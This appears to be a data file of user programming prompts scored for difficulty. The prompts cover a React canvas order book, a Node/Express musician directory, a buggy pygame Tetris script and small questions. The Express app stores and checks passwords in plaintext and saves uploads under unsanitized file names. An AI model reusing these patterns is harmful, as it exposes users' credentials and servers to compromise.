href=""> نسيت كلمة المرور؟ </a> </Form.Item> <Form.Item> <Button style={{ width: '100%' }} size="large" shape="round" icon={<UserAddOutlined />} type="primary" htmlType="submit" className="login-form-button"> تسجيل حساب </Button> </Form.Item> </Form> </TabPane> </Tabs > </Modal> </ConfigProvider> ); }; export default App;"
4643dcc0917440e707f6a8bc11319b73
{ "intermediate": 0.43437159061431885, "beginner": 0.34587201476097107, "expert": 0.21975639462471008 }
12,673
xhost: unable to open display "172.27.20.65"
8d72dd3a454e064a28118cf1fe1c1ed1
{ "intermediate": 0.3066994547843933, "beginner": 0.3158988952636719, "expert": 0.3774016499519348 }
12,674
write a apex code for drop down list
1c68ea8defa6690ddf90a94e53c60104
{ "intermediate": 0.30624568462371826, "beginner": 0.2561846673488617, "expert": 0.43756964802742004 }
12,675
hi, how can i make some money?
01afb3ac09bd7847b8a5e3255dd9bf73
{ "intermediate": 0.33217963576316833, "beginner": 0.2759897708892822, "expert": 0.3918306231498718 }
12,676
const Cup = () => { const {centralizeCamera, cameraDown, cameraUp, readyState, cupSubscribe, cupUnsubscribe, zoomAdd, zoomSub} = useRustWsServer(); const symbol = useSelector((state: AppState) => state.screenerSlice.symbol); const pair = useSelector((state: AppState) => state.cupSlice.pair); const rowCount = useSelector((state: AppState) => state.cupSlice.rowCount); const camera = useSelector((state: AppState) => state.cupSlice.camera); const zoom = useSelector((state: AppState) => state.cupSlice.zoom); const cellHeight = useSelector((state: AppState) => state.cupSlice.cellHeight); const cup: {[key: number]: CupItem} = useSelector((state: AppState) => state.cupSlice.cup); const bestMicroPrice = useSelector((state: AppState) => state.cupSlice.bestMicroPrice); const maxVolume = useSelector((state: AppState) => state.cupSlice.maxVolume); const precision = useSelector((state: AppState) => state.binancePrecision.futures[symbol.toUpperCase()]); const tickSize = useSelector((state: AppState) => state.binanceTickSize.futures[symbol.toUpperCase()]); const [dpiScale, setDpiScale] = useState(Math.ceil(window.devicePixelRatio)); const [canvasSize, setCanvasSize] = useState<CanvasSize>({height: 0, width: 0}); const [animationFrameId, setAnimationFrameId] = useState<number|null>(null); const [zoomedBestMicroPrice, setZoomedBestMicroPrice] = useState<BestMicroPrice|null>(null); const containerRef = useRef<HTMLDivElement|null>(null); const canvasRef = useRef<HTMLCanvasElement|null>(null); const size = useComponentResizeListener(canvasRef); const dispatch = useDispatch(); const darkMode = useTheme().palette.mode === "dark"; const draw = useCallback(() => { if (null === canvasRef || !precision) return; const context = canvasRef.current?.getContext("2d"); if (context) { cupDrawer.clear(context, canvasSize); const rowsOnScreenCount = cupTools.getRowsCountOnScreen( canvasSize.height, cupOptions().cell.defaultHeight * dpiScale, ); const realCellHeight = canvasSize.height / rowsOnScreenCount; if (cellHeight !== realCellHeight) { dispatch(setCupCellHeight(realCellHeight)); } if (rowCount !== rowsOnScreenCount) { dispatch(setCupRowCount(rowsOnScreenCount)); return; } if (camera === 0) { centralizeCamera(); return; } const zoomedTickSize = parseFloat(tickSize) * Math.pow(10, precision?.price) * zoom; const startMicroPrice = camera + rowCount / 2 * zoomedTickSize - zoomedTickSize; for (let index = 0; index <= rowCount; index++) { const microPrice = startMicroPrice - index * zoomedTickSize; if (microPrice < 0) continue; const item = !cup[microPrice] ? { futures_price_micro: microPrice, quantity: 0, spot_quantity: 0, side: microPrice <= (zoomedBestMicroPrice?.buy || 0) ? "Buy" : "Sell", } : cup[microPrice]; const yPosition = realCellHeight * index; const isBestPrice = cupTools.isBestPrice( item.side, item.futures_price_micro, zoomedBestMicroPrice, ); cupDrawer.drawCell( context, item, maxVolume, isBestPrice, yPosition, realCellHeight, canvasSize.width, dpiScale, darkMode ); if (isBestPrice) { cupDrawer.drawFill( context, item, maxVolume, yPosition, realCellHeight, canvasSize.width, dpiScale, darkMode ); } cupDrawer.drawPrice( context, cupTools.microPriceToReal(item.futures_price_micro, precision.price), item.side, isBestPrice, yPosition, realCellHeight, canvasSize.width, dpiScale, darkMode ); cupDrawer.drawQuantity( context, cupTools.abbreviateNumber(item.quantity), item.side, isBestPrice, yPosition, realCellHeight, canvasSize.width, dpiScale, darkMode ); } } }, [cup, camera]); const wheelHandler = (e: WheelEvent) => { e.preventDefault(); e.deltaY < 0 ? cameraUp() : cameraDown(); }; useEffect(() => { canvasRef.current?.addEventListener("wheel", wheelHandler, {passive: false}); return () => { canvasRef.current?.removeEventListener("wheel", wheelHandler); }; }, [camera]); useEffect(() => { if (bestMicroPrice && precision) { const zoomedTickSize = parseFloat(tickSize) * Math.pow(10, precision.price) * zoom; setZoomedBestMicroPrice({ buy: parseInt((Math.floor(bestMicroPrice.buy / zoomedTickSize) * zoomedTickSize).toFixed(0)), sell: parseInt((Math.ceil(bestMicroPrice.sell / zoomedTickSize) * zoomedTickSize).toFixed(0)), }); } }, [bestMicroPrice]); useEffect(() => { if (null !== animationFrameId) { cancelAnimationFrame(animationFrameId); } setAnimationFrameId(requestAnimationFrame(draw)); }, [cup, symbol, camera]); useEffect(() => { setDpiScale(Math.ceil(window.devicePixelRatio)); }, [window.devicePixelRatio]); useEffect(() => { if (!size) { return; } setCanvasSize({ width: Math.floor(size.width) * dpiScale, height: Math.floor(size.height) * dpiScale, }); }, [dpiScale, size]); useEffect(() => { if (0 === camera) { centralizeCamera(); } }, [zoomedBestMicroPrice]); useEffect(() => { if (symbol) { dispatch(setCupPair(symbol.toUpperCase())); dispatch(setCupCamera(0)); } }, [symbol]); useEffect(() => { if (readyState === ReadyState.OPEN && null !== pair) { cupSubscribe(pair, camera, zoom, rowCount); } return () => { if (pair != null) { cupUnsubscribe(pair); } }; }, [pair, camera, zoom, rowCount, readyState]); return <div ref={containerRef} className={styles.canvasWrapper}> <div className={styles.controls}> <IconButton onClick={zoomSub} size="small"> <RemoveRounded /> </IconButton> <span>x{zoom}</span> <IconButton onClick={zoomAdd} size="small"> <AddRounded /> </IconButton> </div> <canvas ref={canvasRef} className={styles.canvas} width={canvasSize?.width} height={canvasSize?.height} /> </div>; }; export default Cup; import {CanvasSize} from "./Cup"; import cupOptions, {drawRoundedRect} from "./Cup.options"; import cupTools from "./Cup.tools"; import {CupItem} from "../../../hooks/rustWsServer"; const cupDrawer = { clear: (ctx: CanvasRenderingContext2D, size: CanvasSize) => { ctx.clearRect(0, 0, size.width, size.height); }, drawCell: ( ctx: CanvasRenderingContext2D, cupItem: CupItem, maxVolume: number, isBestPrice: boolean, yPosition: number, cellHeight: number, fullWidth: number, dpiScale: number, darkMode: boolean, ) => { ctx.beginPath(); ctx.strokeStyle = cupOptions(darkMode).border.color; ctx.lineWidth = cupOptions(darkMode).border.width; ctx.fillStyle = cupTools.getCellBackground(cupItem.side, isBestPrice, darkMode); // @ts-ignore ctx.roundRect( 0, yPosition, cupTools.getCellWidth(fullWidth, cupItem.quantity, maxVolume, isBestPrice), cellHeight, cupOptions(darkMode).border.radius * dpiScale, ); ctx.fill(); ctx.stroke(); }, drawFill: ( ctx: CanvasRenderingContext2D, cupItem: CupItem, maxVolume: number, yPosition: number, cellHeight: number, fullWidth: number, dpiScale: number, darkMode: boolean, ) => { ctx.beginPath(); ctx.strokeStyle = "#ffffff00"; ctx.lineWidth = cupOptions().border.width; ctx.fillStyle = cupItem.side === "Buy" ? cupOptions(darkMode).bestBuy.fillColor : cupOptions(darkMode).bestSell.fillColor; ctx.roundRect( 0, yPosition, cupTools.getCellWidth(fullWidth, cupItem.quantity, maxVolume, false), cellHeight, cupOptions().border.radius * dpiScale, ); ctx.fill(); ctx.stroke(); }, drawPrice: ( ctx: CanvasRenderingContext2D, price: string, side: string, isBestPrice: boolean, yPosition: number, cellHeight: number, fullWidth: number, dpiScale: number, darkMode: boolean, ) => { const {width: textWidth} = ctx.measureText(price); ctx.textBaseline = "middle"; ctx.font = `${cupOptions().font.weight} ${cupOptions().font.sizePx * dpiScale}px ${cupOptions().font.family}`; ctx.fillStyle = cupTools.getPriceColor(side, isBestPrice, darkMode); ctx.fillText( price, fullWidth - cupOptions().cell.paddingX * dpiScale - textWidth, yPosition + cellHeight / 2, ); }, drawQuantity: ( ctx: CanvasRenderingContext2D, quantity: string, side: string, isBestPrice: boolean, yPosition: number, cellHeight: number, fullWidth: number, dpiScale: number, darkMode: boolean, ) => { ctx.textBaseline = "middle"; ctx.fillStyle = cupTools.getQuantityColor(side, isBestPrice, darkMode); ctx.fillText( quantity, cupOptions().cell.paddingX * dpiScale, yPosition + cellHeight / 2, ); }, }; export default cupDrawer; const cupOptions = (darkMode?: boolean) => ({ sell: { backgroundColor: darkMode ? "#4A0B09" : "#F3C9CE", priceColor: darkMode ? "#fff" : "#B41C18", quantityColor: darkMode ? "#CA1612" : "#191919", }, bestSell: { backgroundColor: darkMode ? "#4A0B09" : "#d0706d", fillColor: darkMode ? "#CA1612" : "#a5120e", priceColor: "#FFFFFF", quantityColor: "#FFFFFF", }, buy: { backgroundColor: darkMode ? "#0f3b2b" : "#CAD7CD", priceColor: darkMode ? "#fff" : "#006943", quantityColor: darkMode ? "#00923A" : "#191919", }, bestBuy: { backgroundColor: darkMode ? "#006943" : "#4d967b", fillColor: darkMode ? "#00923A" : "#005737", priceColor: "#FFFFFF", quantityColor: "#FFFFFF", }, font: { family: "Mont", sizePx: 11, weight: 400, }, border: { width: 1, color: darkMode ? "#191919" : "#ffffff", radius: 6, }, cell: { paddingX: 4, defaultHeight: 16, }, }); export default cupOptions; отрисовать в drawFill прямоугольник(Rect) вместо roundRect и потом скруглить углы цветом светлой/темной темы думаю нужно путь только построить немного иначе и в два патча (beginPath / closePath) Первым слоем рисуется обычный прямоугольник со скруглением. drawCell Вторым слоем прямоугольник без скругления. drawFill Третьим слоем рисуются скругления (розовые на скрине) белого цвета для светлой темы и темного для темной.
204cfd8d43543390eca1d461da17f4fc
{ "intermediate": 0.3955686092376709, "beginner": 0.3330898582935333, "expert": 0.2713415026664734 }
12,677
can you give a explam of a cool python code?
d52075a8c04de2bbb97e5d33ab6da49e
{ "intermediate": 0.33575621247291565, "beginner": 0.3628653585910797, "expert": 0.301378458738327 }
12,678
can you run this python code?
0c44b000a75eeec6bf959d55615ecf8a
{ "intermediate": 0.37343406677246094, "beginner": 0.24716292321681976, "expert": 0.3794029951095581 }
12,679
ReferenceError: musicians is not defined at C:\Users\Ilya\Downloads\GOVNOZHOPA1111\app.js:210:21 app.js: const express = require("express"); const fs = require("fs"); const session = require("express-session"); const fileUpload = require("express-fileupload"); const app = express(); const fuzzball = require("fuzzball"); const mysql = require('mysql'); const connection = mysql.createConnection({ host: 'localhost', user: 'music', // замените на свой логин password: 'password', // замените на свой пароль database: 'music' // замените на свою базу данных }); connection.connect((err) => { if (err) { console.error('Ошибка подключения к базе данных: ', err); } else { console.log('Подключение к базе данных успешно'); } }); app.set("view engine", "ejs"); app.use(express.static("public")); app.use(express.urlencoded({ extended: true })); app.use(fileUpload()); app.use(session({ secret: "mysecretkey", resave: false, saveUninitialized: false })); const citiesAndRegions = JSON.parse(fs.readFileSync("./db/russia.json", "utf8")); connection.query("CREATE TABLE IF NOT EXISTS tracks (id int(11) NOT NULL AUTO_INCREMENT PRIMARY KEY, musician_id int(11) NOT NULL, title varchar(255) NOT NULL, album_title varchar(255), filename varchar(255) NOT NULL, image_filename varchar(255), uploaded_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP)", (err, result) => { if(err) throw err; }); //const predefinedGenres = ['Rock', 'Pop', 'Jazz', 'Hip Hop', 'Electronic', 'Blues']; // Функция для получения последних музыкантов, зарегистрированных музыкантов function getLastNRegisteredMusicians(N, callback) { connection.query("SELECT * FROM users ORDER BY id DESC LIMIT ?", [N], (err, result) => { if (err) { console.error("Ошибка при получении последних зарегистрированных музыкантов: ", err); return callback(err); } else { return callback(null, result); } }); } function getLastNUploadedTracks(N, callback) { connection.query("SELECT * FROM tracks ORDER BY uploaded_at DESC LIMIT ?", [N], (err, result) => { if (err) { console.error("Ошибка при получении последних загруженных треков: ", err); return callback(err); } else { return callback(null, result); } }); } //функция для получения песен музыканта по id function getMusicianTracks(musicianId, callback) { connection.query("SELECT * FROM tracks WHERE musician_id=?", [musicianId], (err, result) => { if (err) { console.error("Ошибка при получении песен музыканта с id ${musicianId}: ", err); return typeof callback === 'function' && callback(err); } else { return typeof callback === 'function' && callback(null, result); } }); } function getMusicians(callback) { connection.query("SELECT * FROM users", (err, result) => { if (err) { console.error("Ошибка при получении списка музыкантов: ", err); return callback(err); } else { return callback(null, result); } }); } // Функция для получения музыканта по id function getMusicianById(id, callback) { connection.query("SELECT * FROM users WHERE id=?", [id], (err, result) => { if (err) { console.error("Ошибка при получении музыканта с id ${id}: ", err); return typeof callback === 'function' && callback(err); } else { return typeof callback === 'function' && callback(null, result[0]); } }); } function requireLogin(req, res, next) { if (req.session.musicianId) { next(); } else { res.redirect("/login"); } } //функция поиска function search(query = '', role = '', city = '', genre = '', callback) { let results = []; // Формируем запрос на выборку с базы данных в зависимости от переданных параметров поиска let queryStr = "SELECT * FROM users WHERE (name LIKE ? OR genre LIKE ?)"; let queryParams = ['%' + query + '%', '%' + query + '%']; if (role !== '') { queryStr += " AND role = ?"; queryParams.push(role); } if (city !== '') { queryStr += " AND city = ?"; queryParams.push(city); } if (genre !== '') { queryStr += " AND genre = ?"; queryParams.push(genre); } // Выполняем запрос к базе данных connection.query(queryStr, queryParams, (err, resultsDB) => { if (err) { console.error("Ошибка при выполнении запроса: ", err); return callback(err); } else { // Формируем список музыкантов на основе результата запроса results = resultsDB.map(musician => { return { name: musician.name, genre: musician.genre, originalName: musician.name, profileLink: `/profile/${musician.id}`, thumbnail: musician.thumbnail, soundcloud: musician.soundcloud, role: musician.role, city: musician.city }; }); // Удаляем дубликаты из списка results = results.filter((result, index, self) => index === self.findIndex(r => ( r.name === result.name && r.genre === result.genre && r.city === result.city )) ); // Сортируем по score (у словарей scoreA и scoreB значения по умолчанию равны 0, так что сортировка по алфавиту) results.sort((a, b) => { let scoreA = 0; let scoreB = 0; if (a.name.toLowerCase().includes(query)) { scoreA++; } if (a.genre.toLowerCase().includes(query)) { scoreA++; } if (b.name.toLowerCase().includes(query)) { scoreB++; } if (b.genre.toLowerCase().includes(query)) { scoreB++; } // Сортировка по score (убывающая) return scoreB - scoreA; }); // Вызываем callback-функцию с результатами поиска return callback(null, results); } }); } app.use((req, res, next) => { if (req.session.musicianId) { getMusicianById(req.session.musicianId, (err, musician) => { if (err) { console.error("Ошибка при получении current user: ", err); res.locals.userLoggedIn = false; } else { res.locals.musician = musician; res.locals.userLoggedIn = true; res.locals.username = musician.name; } next(); }); } else { res.locals.userLoggedIn = false; next(); } }); app.get("/", (req, res) => { getLastNUploadedTracks(12, (err, lastUploadedTracks) => { if (err) { console.error("Ошибка при получении последних загруженных треков: ", err); res.status(500).send("Ошибка получения данных"); } else { res.render("index", { tracks: lastUploadedTracks, query:'',city:'',role:'',genre:''}); } }); }); app.get("/autocomplete/cities", async (req, res) => { const searchString = req.query.term; connection.query( "SELECT DISTINCT city FROM users WHERE city LIKE ?", [searchString + '%'], (error, results, fields) => { if (error) { console.error("Ошибка выполнения запроса: ", error); res.status(500).send("Ошибка выполнения запроса"); } else { const cities = results.map(row => row.city); res.json(cities); } } ); }); app.get("/register", (req, res) => { if (req.session.musicianId) { const musician = getMusicianById(req.session.musicianId); res.redirect("/profile/" + musicianId); } else { res.render("register", { citiesAndRegions, city:'', query:'',role:'' }); } }); app.post("/register", (req, res) => { if (req.session.musicianId) { getMusicianById(req.session.musicianId, (err, musician) => { if (err) { console.error("Ошибка при получении музыканта: ", err); } else { res.redirect("/profile/" + musician.id); } }); } else { // Проверка на уникальность логина connection.query("SELECT * FROM users WHERE login=?", [req.body.login], (err, result) => { if (err) { console.error("Ошибка при проверке логина: ", err); res.status(500).send("Ошибка при регистрации"); } else { if (result.length > 0) { res.render("register", { error: "This login is already taken", citiesAndRegions, city:'', query:'', role:'' }); } else { const newMusician = { name: req.body.name, genre: req.body.genre, instrument: req.body.instrument, soundcloud: req.body.soundcloud, password: req.body.password, role: req.body.role, city: req.body.city, login: req.body.login, }; if (req.files && req.files.thumbnail) { const file = req.files.thumbnail; const filename = "musician_" + file.name; file.mv("./public/img/" + filename); newMusician.thumbnail = filename; } connection.query("INSERT INTO users SET ?", newMusician, (err, result) => { if (err) { console.error("Ошибка при регистрации нового музыканта: ", err); res.status(500).send("Ошибка регистрации"); } else { req.session.musicianId = result.insertId; res.redirect("/profile/" + result.insertId); } }); } } }); } }); app.get("/profile/:id", (req, res) => { getMusicianById(parseInt(req.params.id), (err, musician) => { if (err) { console.error("Ошибка при получении музыканта: ", err); res.status(500).send("Ошибка при получении данных"); } else { if (musician) { getMusicianTracks(musician.id, (err, tracks) => { if(err) { console.error("Ошибка при получении треков для профиля: ", err); res.status(500).send("Ошибка при получении данных"); } else { res.render("profile", { musician: musician, tracks: tracks, query:'', role:'', city:''}); } }); } else { res.status(404).send("Musician not found"); } } }); }); app.get("/login", (req, res) => { res.render("login"); }); app.post("/login", (req, res) => { connection.query("SELECT * FROM users WHERE login=? AND password=?", [req.body.login, req.body.password], (err, result) => { if (err) { console.error("Ошибка при входе: ", err); res.status(500).send("Ошибка при входе"); } else { if (result.length > 0) { req.session.musicianId = result[0].id; res.redirect("/profile/" + result[0].id); } else { res.render("login", { error: "Invalid login or password" }); } } } ); }); app.get("/logout", (req, res) => { req.session.destroy(); res.redirect("/"); }); app.get('/search', (req, res) => { let query = req.query.query || ''; const role = req.query.role || ''; const city = req.query.city || ''; const genre = req.query.genre || ''; if (query || role || city || genre) { search(query, role, city, genre, (err, musicians) => { if (err) { res.status(500).send("Ошибка при выполнении поиска"); } else { app.locals.JSON = JSON; res.render('search', { musicians, query, role, city, genre, citiesAndRegions}); } }); } else { // Use the getMusicians function instead of reading from musicians.json getMusicians((err, musiciansList) => { if (err) { res.status(500).send("Ошибка при получении списка музыкантов"); } else { const musicians = musiciansList.map(musician => { return { name: musician.name, genre: musician.genre, originalName: musician.name, profileLink: `/profile/${musician.id}`, thumbnail: musician.thumbnail, soundcloud: musician.soundcloud, role: musician.role, city: musician.city }; }); app.locals.JSON = JSON; res.render('search', { musicians, query, role, city, genre, citiesAndRegions}); } }); } }); app.get("/profile/:id/edit", requireLogin, (req, res) => { getMusicianById(parseInt(req.params.id), (err, musician) => { if (err) { console.error("Ошибка при получении музыканта: ", err); res.status(500).send("Ошибка при получении данных"); } else { if (musician) { if (req.session.musicianId === musician.id) { // Check if the logged-in user is the owner of the profile res.render("edit-profile", { musician: musician }); } else { res.status(403).send("Access denied"); } } else { res.status(404).send("Musician not found"); } } }); }); app.post("/profile/:id/edit", requireLogin, (req, res) => { const musicianId = parseInt(req.params.id); getMusicianById(musicianId, (err, musician) => { if (err) { console.error("Ошибка при получении музыканта: ", err); res.status(500).send("Ошибка при получении данных"); } else { if (musician) { const updatedMusician = { name: req.body.name, genre: req.body.genre, instrument: req.body.instrument, soundcloud: req.body.soundcloud, soundcloud1: req.body.soundcloud1, city: req.body.city, role: req.body.role, bio: req.body.bio, }; if (req.files && req.files.thumbnail) { const file = req.files.thumbnail; const filename = "musician_" + musicianId + "_" + file.name; file.mv("./public/img/" + filename); updatedMusician.thumbnail = filename; } connection.query("UPDATE users SET ? WHERE id=?", [updatedMusician, musicianId], (err, result) => { if (err) { console.error("Ошибка при обновлении профиля музыканта: ", err); res.status(500).send("Ошибка при обновлении профиля"); } else { res.redirect("/profile/" + musicianId); } }); } else { res.status(404).send("Musician not found"); } } }); }); //загрузка музыки и изображений к музыке app.post("/profile/:id/upload", requireLogin, async (req, res) => { const musicianId = req.session.musicianId; if (!req.files) { res.status(400).send("No files were uploaded."); return; } const trackFile = req.files.track; if (!trackFile) { res.status(400).send("No track file was uploaded."); return; } if (trackFile && !trackFile.name.endsWith(".mp3")) { res.status(400).send("Only .mp3 files can be uploaded."); return; } // Set a maximum file size of 10MB for uploaded files const maxSizeInBytes = 11000000; // 11MB if (trackFile && trackFile.size > maxSizeInBytes) { res.status(400).send("File size exceeds 10MB limit."); return; } const trackFilename = "track_" + musicianId + "" + trackFile.name; const tmpPath = './public/tracks/tmp_' + trackFilename; trackFile.mv("./public/tracks/" + trackFilename); const title = req.body.title; const album_title = req.body.albumTitle; const track = { musician_id: musicianId, title, album_title, filename: trackFilename, }; if (req.files.image) { const imageFile = req.files.image; const imageFilename = "image" + musicianId + "_" + imageFile.name; imageFile.mv("./public/img/" + imageFilename); track.image_filename = imageFilename; } connection.query("INSERT INTO tracks SET ?", track, (err, result) => { if (err) { console.error("Ошибка при добавлении трека: ", err); res.status(500).send("Ошибка при добавлении трека"); } else { res.redirect("/profile/" + musicianId); } }); }); function isValidSoundCloudUrl(url) { return url.startsWith('https://soundcloud.com/'); } app.listen(3000, () => { console.log("Server started on port 3000"); }); index.ejs: <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8" /> <meta name="viewport" content="width=device-width, initial-scale=1.0" /> <meta http-equiv="X-UA-Compatible" content="ie=edge" /> <link rel="stylesheet" href="/css/main.css" /> <link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/css/bootstrap.min.css" integrity="sha384-ggOyR0iXCbMQv3Xipma34MD+dH/1fQ784/j6cY/iJTQUOhcWr7x9JvoRxT2MZw1T" crossorigin="anonymous"> <link rel="stylesheet" href="/jquery-ui/themes/base/all.css" /> <script src="/jquery/dist/jquery.min.js"></script> <script src="/jquery-ui/dist/jquery-ui.min.js"></script> <title>Home</title> </head> <body> <header> <nav class="navbar navbar-expand-lg navbar-light bg-light"> <a class="navbar-brand" href="/">My Musician Site</a> <button class="navbar-toggler" type="button" data-toggle="collapse" data-target="#navbarNav" aria-controls="navbarNav" aria-expanded="false" aria-label="Toggle navigation"> <span class="navbar-toggler-icon"></span> </button> <div class="collapse navbar-collapse" id="navbarNav"> <ul class="navbar-nav ml-auto"> <li class="nav-item active"> <a class="nav-link" href="/">Home</a> </li> <% if (userLoggedIn) { %> <li class="nav-item"> <a class="nav-link" href="/profile/<%= musician.id %>">Hello, <%= username %></a> </li> <li class="nav-item"> <a class="nav-link" href="/logout">Logout</a> </li> <% } else { %> <li class="nav-item"> <a class="nav-link" href="/register">Register</a> </li> <li class="nav-item"> <a class="nav-link" href="/login">Login</a> </li> <% } %> </ul> </div> </nav> </header> <main class="container mt-5"> <div class="row"> <div class="col-md-8"> <!-- добавляет форму с поиском музыкантом --> <!-- <form method="get" action="/search"> <div class="form-group"> <label for="query">Search by name or genre:</label> <div class="input-group"> <input id="query" name="query" type="text" class="form-control" value="<%= query %>"> <div class="input-group-append"> <button type="submit" class="btn btn-primary">Search</button> </div> </div> </div> --> <div class="form-row"> <div class="form-group col-md-4"> <label for="role">Search by role:</label> <select id="role" name="role" class="form-control"> <option value=""> All </option> <option value="Band"> Band </option> <option value="Artist"> Artist </option> </select> </div> <div class="form-group col-md-4"> <label for="genre">Search by genre:</label> <select id="genre" name="genre" class="form-control"> <option value=""> All </option> <option value="Rock"> Rock </option> <option value="Pop"> Pop </option> </select> </div> <div class="form-group col-md-4"> <label for="city">Search by location:</label> <input id="city" name="city" type="text" class="form-control" autocomplete="on" value="<%= city %>" data-value=""> </div> </div> </form> <%if (musicians.length > 0) { %> <h2 class="mt-5">Results:</h2> <ul class="list-unstyled"> <% musicians.forEach(musician => { %> <li class="media my-4"> <a href="/profile/<%= musician.id %>"> <img src="/img/<%= musician.thumbnail || 'avatar.jpg'%>" class="mr-3" alt="Musician profile picture"> </a> <div class="media-body"> <h5 class="mt-0 mb-1"><a href="/profile/<%= musician.id %>"><%= musician.name %></h5></a> <p><strong>Role:</strong> <%= musician.role %></p> <p><strong>Genre:</strong> <%= musician.genre %></p> <p><strong>Location:</strong> <%= musician.city %></p> <p><strong>Available for gigs:</strong> <%= musician.availableForGigs ? 'Yes' : 'No' %></p> </div> </li> <% }) %> </ul> <% } else { %> <h2 class="mt-5">No results found</h2> <% } %> </div> <div class="col-md-4"> <h2>About this site</h2> <p>Welcome to My Musician Site! This is a platform for musicians to connect with each other and find potential bandmates or collaborators. You can search for musicians by name, location, role, and genre. If you're a musician yourself, make sure to create a profile so others can find you too!</p> <p>If you have any questions or feedback, please don't hesitate to contact us at <a href="mailto:contact@mymusiciansite.com">contact@mymusiciansite.com</a>.</p> </div> </div> </main> <script src="/jquery/jquery.min.js"></script> <script src="/jquery-ui/jquery-ui.min.js"></script> <script src="https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/js/bootstrap.min.js" integrity="sha384-JjSmVgyd0p3pXB1r RibZUAYoIIy6OrQ6VrjIEaFf/nJGzIxFDsf4x0xIM+B07jRM" crossorigin="anonymous"></script> <script> $("#city").autocomplete({ source: '/autocomplete/cities', minLength: 1, }); const queryInput = document.querySelector("#query"); const roleInput = document.querySelector("#role"); const cityInput = document.querySelector("#city"); queryInput.value = "<%= query %>"; roleInput.value = "<%= role %>"; cityInput.value = cityInput.getAttribute('data-value'); const query = queryInput.value; const role = roleInput.value; const city = cityInput.value; </script> </body> </html>
285e461f69b8cfea557a4193af087fe7
{ "intermediate": 0.40427079796791077, "beginner": 0.3810250461101532, "expert": 0.21470412611961365 }
12,680
can you make me tetris in python?
2fb66099ce6f813a96143534ac817a8e
{ "intermediate": 0.31539177894592285, "beginner": 0.23254364728927612, "expert": 0.45206451416015625 }
12,681
what is the output of get_feature_importance() catboost
272b78b37daa00fa239663488d4fb0fd
{ "intermediate": 0.3706740736961365, "beginner": 0.14601780474185944, "expert": 0.4833081066608429 }
12,682
import pygame import random pygame.init() # set game window size WIDTH = 800 HEIGHT = 600 # set block size BLOCK_SIZE = 30 # set game board width and height BOARD_WIDTH = WIDTH // BLOCK_SIZE BOARD_HEIGHT = HEIGHT // BLOCK_SIZE # set game colors WHITE = (255, 255, 255) BLACK = (0, 0, 0) RED = (255, 0, 0) GREEN = (0, 255, 0) BLUE = (0, 0, 255) YELLOW = (255, 255, 0) ORANGE = (255, 165, 0) PURPLE = (128, 0, 128) CYAN = (0, 255, 255) # define game board board = [[BLACK for _ in range(BOARD_WIDTH)] for _ in range(BOARD_HEIGHT)] # define block shapes BLOCKS = [ [[YELLOW, YELLOW], [YELLOW, YELLOW]], [[RED, RED, RED, RED]], [[GREEN, GREEN, 0], [0, GREEN, GREEN]], [[0, BLUE, BLUE], [BLUE, BLUE, 0]], [[ORANGE, ORANGE, ORANGE], [0, 0, ORANGE], [0, 0, 0]], [[0, PURPLE, 0], [PURPLE, PURPLE, PURPLE], [0, 0, 0]], [[0, CYAN, CYAN], [CYAN, CYAN, 0], [0, 0, 0]] ] # define game classes and functions class Block: def init(self, shape): self.shape = shape self.color = shape[0][0] self.x = BOARD_WIDTH // 2 - 1 self.y = 0 def draw(self, surface): for i in range(len(self.shape)): for j in range(len(self.shape[i])): if self.shape[i][j] != 0: pygame.draw.rect(surface, self.color, ((self.x + j) * BLOCK_SIZE, (self.y + i) * BLOCK_SIZE, BLOCK_SIZE, BLOCK_SIZE)) def move_left(self): if not self.wall_collide(-1, 0) and not self.block_collide(-1, 0): self.x -= 1 def move_right(self): if not self.wall_collide(1, 0) and not self.block_collide(1, 0): self.x += 1 def move_down(self): if not self.wall_collide(0, 1) and not self.block_collide(0, 1): self.y += 1 else: self.lock() def wall_collide(self, dx, dy): for i in range(len(self.shape)): for j in range(len(self.shape[i])): if self.shape[i][j] != 0: x = self.x + j + dx y = self.y + i + dy if x < 0 or x >= BOARD_WIDTH or y >= BOARD_HEIGHT: return True return False def block_collide(self, dx, dy): for i in range(len(self.shape)): for j in range(len(self.shape[i])): if self.shape[i][j] != 0: x = self.x + j + dx y = self.y + i + dy if y >= 0 and board[y][x] != BLACK: return True return False def rotate(self): new_shape = [[0 for _ in range(len(self.shape))] for _ in range(len(self.shape[0]))] for i in range(len(self.shape)): for j in range(len(self.shape[i])): new_shape[j][len(self.shape) - i - 1] = self.shape[i][j] if not self.wall_collide(0, 0) and not self.block_collide(0, 0): self.shape = new_shape def lock(self): for i in range(len(self.shape)): for j in range(len(self.shape[i])): if self.shape[i][j] != 0: x = self.x + j y = self.y + i board[y][x] = self.color new_block() def delete_row(self): rows_deleted = 0 for i in range(BOARD_HEIGHT): if BLACK not in board[i]: board.pop(i) board.insert(0, [BLACK for _ in range(BOARD_WIDTH)]) rows_deleted += 1 return rows_deleted def new_block(): global current_block current_block = Block(random.choice(BLOCKS)) def draw_board(surface): for i in range(len(board)): for j in range(len(board[i])): pygame.draw.rect(surface, board[i][j], ((j * BLOCK_SIZE), (i * BLOCK_SIZE), BLOCK_SIZE, BLOCK_SIZE), 1) # create game window window = pygame.display.set_mode((WIDTH, HEIGHT)) # set game clock clock = pygame.time.Clock() # create initial block new_block() # main game loop while True: clock.tick(10) # handle events for event in pygame.event.get(): if event.type == pygame.QUIT: pygame.quit() quit() elif event.type == pygame.KEYDOWN: if event.key == pygame.K_LEFT: current_block.move_left() elif event.key == pygame.K_RIGHT: current_block.move_right() elif event.key == pygame.K_DOWN: current_block.move_down() elif event.key == pygame.K_UP: current_block.rotate() # update game state rows_deleted = current_block.delete_row() # draw game elements window.fill(WHITE) draw_board(window) current_block.draw(window) pygame.display.update() can you debug it, python report error on line 133 Block() takes no arguments
309241f2c8a08f946b71cca263835579
{ "intermediate": 0.3342656195163727, "beginner": 0.4929410219192505, "expert": 0.17279334366321564 }
12,683
